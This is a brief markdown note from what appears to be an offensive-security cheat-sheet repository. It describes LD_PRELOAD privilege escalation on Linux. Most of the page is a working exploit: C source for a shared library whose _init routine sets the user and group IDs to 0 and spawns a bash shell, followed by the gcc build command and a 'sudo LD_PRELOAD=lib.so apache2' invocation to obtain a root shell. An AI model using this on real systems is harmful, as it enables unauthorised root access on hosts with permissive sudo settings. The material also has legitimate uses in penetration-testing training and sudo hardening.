killchain-compendium/exploit/linux/ld_preload.md

22 lines
349 B
Markdown

# LD_PRELOAD
* Preload libs and do interpositioning of functions.
## Example
```sh
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
```
* `gcc -fPIC -shared -o lib.so lib.c -nostartfiles`
* `sudo LD_PRELOAD=lib.so apache2`
* `$ id`